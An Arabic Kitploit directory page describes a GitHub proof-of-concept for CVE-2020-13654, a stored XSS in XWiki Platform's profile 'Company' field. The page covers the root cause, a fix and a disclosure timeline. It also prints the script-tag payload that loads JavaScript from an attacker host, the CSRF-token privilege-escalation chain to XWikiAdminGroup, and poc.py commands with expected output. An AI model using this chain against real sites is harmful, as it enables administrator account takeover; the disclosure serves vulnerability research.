Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - XSS مخزنة → CSRF → اختراق الحساب | Kitploit
أدوات/GitHubGitHub/astaruf/cve-2020-13654
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - XSS مخزنة → CSRF → اختراق الحساب

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2020-13654 - XWiki Platform < 12.8 - تخزين XSS → CSRF → رفع الامتيازات

اكتشف وأبلغ به: Astaruf
الشرح الكامل: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
مدخل NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


الثغرة

لا يقوم XWiki Platform قبل الإصدار 12.8 بتطبيق ترميز HTML على الحقول التي يتحكم فيها المستخدم في محرر الملف الشخصي. الحقل المتأثر الذي تم تأكيده أثناء البحث هو "الشركة" (Company) (تحت تحرير → المعلومات الشخصية)، لكن حقول الملف الشخصي الأخرى تشارك نفس مسار الكود.

عند عرض صفحة ملف شخصي، تُخرج قيمة الحقل المخزنة كما هي في HTML دون أي استدعاء لـ $escapetool.xml() أو ما يعادله من الهروب. يمكن للمهاجم الذي لديه أي حساب مصادق عليه، بما في ذلك حساب مسجل ذاتيًا حديثًا، تخزين HTML/JavaScript عشوائي يتم تنفيذه بشكل دائم في متصفح كل مستخدم يزور الملف الشخصي، بما في ذلك المسؤولين.

السبب الجذري في قالب Velocity المتأثر:

root@kitploit:~
## ضعيف (< 12.8): القيمة تُكتب مباشرة إلى DOM
$xwiki.getUserProperty($user, "company")

## مُصلح (≥ 12.8): القيمة مشفرة HTML قبل الإخراج
$escapetool.xml($xwiki.getUserProperty($user, "company"))
الحقلالقيمة
المنتجXWiki Platform
الإصدارات المتأثرة< 12.8
تم الإصلاح في12.8
درجة CVSSv3

سيناريو الهجوم

يُظهر هذا الإثبات العملي سلسلة رفع امتيازات بنقرة صفرية:

root@kitploit:~
حساب مهاجم بامتيازات منخفضة
        │
        ├─ يخزن <script src="http://attacker/payload.js"> في حقل الشركة
        ▼
  صفحة ملف شخصي لـ XWiki (ملوثة)
        │
        ├─ المسؤول يتنقل إلى الصفحة (مثلاً عبر قائمة المستخدمين أو تذكرة دعم)
        ▼
  يتم تنفيذ الحمولة في جلسة متصفح المسؤول
        │
        ├─ تجلب /bin/view/XWiki/XWikiAdminGroup  ←  تستخرج رمز CSRF
        ├─ ترسل طلب POST بـ form_token + xpage=adduorg + name=attacker  ←  تضيف المهاجم إلى XWikiAdminGroup
        │
        ▼
  المهاجم يحصل الآن على وصول كامل كمسؤول

لا حاجة لأي تفاعل من المسؤول بخلاف زيارة صفحة واحدة.


الإثبات العملي (PoC)

poc.py هو سكربت استغلال متكامل. يقوم بما يلي:

  1. اختياريًا، يسجل حسابًا جديدًا بامتيازات منخفضة عبر نقطة التسجيل المفتوحة في XWiki
  2. يصادق حساب المهاجم ويحقن حمولة XSS في حقل الشركة في الملف الشخصي، مع الحفاظ على جميع قيم الحقول الأخرى الموجودة
  3. يتحقق من وجود الحمولة في مصدر الصفحة المعروضة
  4. يشغل خادم HTTP مدمجًا يخدم حمولة JavaScript المضمنة (/payload.js) ويسجل الإشارات الواردة
  5. ينتظر حتى يزور مسؤول رابط الملف الشخصي المسموم

عندما يزور المسؤول الرابط، يقوم وسم <script src="..."> المخزن بتحميل payload.js من خادم المهاجم. تعمل الحمولة في سياق متصفح المسؤول المصادق، وتضيف حساب المهاجم بهدوء إلى XWikiAdminGroup، وترسل نتيجة ذلك.

الاستخدام

root@kitploit:~
pip install -r requirements.txt

مع التسجيل الذاتي (لا حاجة لحساب موجود مسبقًا):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

باستخدام حساب موجود مسبقًا بامتيازات منخفضة:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

المعاملات

المخرجات المتوقعة

root@kitploit:~
[*] جاري تسجيل الحساب 'hacker' ...
✅  تم التسجيل بنجاح.
[*] جاري المصادقة كـ 'hacker' ...
✅  تمت المصادقة. الجلسة: {'JSESSIONID': 'ABC...'}
[*] جاري حقن الحمولة في الملف الشخصي لـ 'hacker' ...
✅  تم تخزين الحمولة: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] جاري التحقق من الحمولة المخزنة ...
✅  تم تأكيد الحمولة في مصدر الصفحة.

════════════════════════════════════════════════════════════
  تم تجهيز الاستغلال — انتظار الضحية

  شارك هذا الرابط مع (أو انتظر حتى) مسؤول لزيارته:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  عند التشغيل، سيتم إضافة حساب المهاجم 'hacker'
  إلى XWikiAdminGroup بصمت.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 تنفيذ الحمولة في متصفح الضحية | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 تم رفع الامتيازات بنجاح     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

العلاج

قم بالترقية إلى XWiki Platform ≥ 12.8.

الإصلاح يطبق $escapetool.xml() على جميع حقول الملف الشخصي التي يتحكم فيها المستخدم قبل عرضها، مما يمنع حقن HTML/JavaScript الخام.

إذا لم تكن الترقية الفورية ممكنة، قم بتقييد التسجيل الذاتي وحدد رؤية الملف الشخصي للمستخدمين الموثوقين عبر إدارة صلاحيات الوصول في XWiki.


الجدول الزمني

التاريخالحدث

المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

إخلاء مسؤولية

هذا المستودع مُقدم لأغراض تعليمية وأبحاث أمنية مصرح بها فقط.
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة
7.5 (عالية)
CWECWE-116 — ترميز أو هروب غير صحيح للمخرجات
المعاملمطلوبالوصف
--target✅عنوان XWiki الأساسي
--catcher✅عنوان URL يتحكم به المهاجم (يستخدم لتقديم payload.js وجمع الإشارات)
--username✅اسم مستخدم حساب المهاجم
--password✅كلمة مرور حساب المهاجم
--register✗تسجيل الحساب تلقائيًا قبل الاستغلال
--first-nameإذا تم استخدام --registerالاسم الأول للتسجيل
--last-nameإذا تم استخدام --registerاسم العائلة للتسجيل
--emailإذا تم استخدام --registerالبريد الإلكتروني للتسجيل
مايو 2020اكتشاف الثغرة
مايو 2020الإبلاغ لفريق أمان XWiki
يوليو 2020تم الإصلاح في XWiki Platform 12.8
نوفمبر 2020تخصيص CVE-2020-13654 بواسطة MITRE
30 ديسمبر 2020الإفصاح العلني — nstsec.com